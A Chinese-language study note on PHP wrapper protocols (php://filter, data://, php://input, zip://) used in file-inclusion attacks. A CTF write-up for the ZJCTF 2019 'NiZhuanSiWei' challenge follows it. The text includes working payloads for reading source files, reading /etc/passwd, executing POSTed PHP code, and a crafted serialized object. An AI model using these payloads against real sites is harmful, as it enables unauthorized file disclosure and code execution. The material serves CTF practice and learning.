文章目录
1. 知识点
1.1 php://filter
获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
1.1.1 过滤器
1.1.1.1 字符串过滤器
该类通常以string
开头,对每个字符都进行同样方式的处理。
- string.rot13
一种字符处理方式,字符右移十三位。
- string.toupper
将所有字符转换为大写。
- string.tolower
将所有字符转换为小写。
- string.strip_tags
这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
1.1.1.2 转换过滤器
对数据流进行编码,通常用来读取文件源码。
- convert.base64-encode & convert.base64-decode
base64加密解密
- convert.quoted-printable-encode & convert.quoted-printable-decode
可以翻译为可打印字符引用编码,使用可以打印的ASCII编码的字符表示各种编码形式下的字符。
1.1.1.3 压缩过滤器
用到的两个相关过滤器:zlib.deflate(压缩)和 zlib.inflate(解压)。zilb是比较主流的用法,至于bzip2.compress和 bzip2.decompress工作的方式与 zlib 过滤器大致相同。
1.1.1.4 加密过滤器
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。
1.2 data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
1.3 file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:http://www.xx.com?file=file:///etc/passsword
1.4 php://
在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用
php://作用为访问输入输出流
1.5 php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
例如:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>
注意:
当enctype="multipart/form-data"的时候 php://input` 是无效的
遇到file_get_contents()要想到用php://input绕过。
1.6 zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
前面的知识点太烦了,还是贴一点做题记录罢
2. 题目
直接复制每个题目名就可以搜到了
2.1 [ZJCTF 2019]NiZhuanSiWei 1
打开题目,发现就是个代码审计的题目。
首先需要传入text,file,password等参数
text这个参数直接传入welcome to the zjctf就行了
构造payload:
?text=data://text/plain,welcome to the zjctf
或者:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
提示里面有一个useless.php文件,我们用php伪协议来看看里面有些什么:
file=php://filter/read=convert.base64-encode/resource=useless.php
对下面的字符串解码看看:
接着对Flag序列化:
运行下面的代码:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$passwords = new Flag();
echo serialize($passwords);
?>
运行后结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终构造的payload为:
http://03748dff-ca86-4f02-9ce0-65db8464d293.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
在最后显示的界面上查看源码:
flag就在里面了